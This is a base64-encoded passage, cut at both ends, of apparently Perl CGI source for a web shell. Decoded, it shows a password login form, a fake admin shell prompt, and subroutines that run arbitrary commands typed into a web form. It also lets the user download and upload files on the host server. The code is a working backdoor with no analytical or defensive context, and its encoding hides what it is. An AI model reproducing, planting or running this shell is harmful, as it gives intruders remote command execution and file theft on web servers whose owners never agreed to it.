tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpbkZvcm0KewoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj48Zm9udCBjb2xvcj0iIzAwZmYwMCI+UGFzc3dvcmQgOiA8L2ZvbnQ+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRwYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+Cjxmb250IGNvbG9yPSIjMDBGRjAwIj4kUHJvbXB0PC9mb250PiAKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiIHNpemU9IjI1Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CiAgICAgICAgICAgCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4KJFByb21wdCBkb3dubG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+CkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQp7CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KT3B0aW9uczogIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+Ck92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8YnI+PGJyPgpVcGxvYWQ6ICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcwojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQ29tbWFuZFRpbWVvdXQKewoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCQlwcmludCA8PEVORDsKPC94bXA+Cjxjb2RlPgpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuCjxicj5LaWxsZWQgaXQhCjxjb2RlPgpFTkQKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCWV4aXQ7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5CiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbgojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUKIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2VycwojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFeGVjdXRlQ29tbWFuZAp7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQlwcmludCAiPGRpdiBzdHlsZT0nZmxvYXQ6IGNlbnRlcjsgdGV4dC1hbGlnbjogbGVmdDsnPiI7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJcHJpbnQgIjxkaXYgc3R5bGU9J2Zsb2F0OiBjZW50ZXI7IHRleHQtYWxpZ246IGxlZnQ7Jz4iOwoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPjx4bXAgc3R5bGU9J2NvbG9yOiAjMDBGRjAwOyc+IjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CgkJaWYoISRXaW5OVCkKCQl7CgkJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsKCQl9CgkJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJCXsKCQkJJHw9MTsKCQkJJENvbW1hbmQgLj0gIiB8IjsKCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7CgkJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikKCQkJewoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87CgkJCQlwcmludCAiJF9cbiI7CgkJCX0KCQkJJHw9MDsKCQl9CgkJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgkJewoJCQlwcmludCBgJENvbW1hbmRgOwoJCX0KCQlpZighJFdpbk5UKQoJCXsKCQkJYWxhcm0oMCk7CgkJfQoJCXByaW50ICI8L3htcD4iOwoJfQoJcHJpbnQgIjwvZGl2PiI7CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cwoJewoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXIKCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7CgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOwoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCXByaW50IDw8RU5EOwo8Y29kZT4KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+CklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPi4KPC9jb2RlPgpFTkQKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQlwcmludCAiPGNvZGU+RmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkITwvY29kZT4iOwoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyCnsKCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsKCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcKCXsKCQlpZigkV2luTlQpCgkJewoJCQliaW5tb2RlKFNFTkRGSUxFKTsKCQkJYmlubW9kZShTVERPVVQpOwoJCX0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsKCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7CgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOwoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOwoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOwoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOwoJCWNsb3NlKFNFTkRGSUxFKTsKCX0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkITwvY29kZT4iOwoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLAojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJlZ2luRG93bmxvYWQKewoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVwbG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlVXBsb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCXJldHVybjsKCX0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJcHJpbnQgIjxjb2RlPlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7CgoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZAoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOwoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7CgoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7CgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQKCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQoJewoJCXByaW50ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7Cgl9CgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudAoJewoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQoJCXsKCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7CgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0Y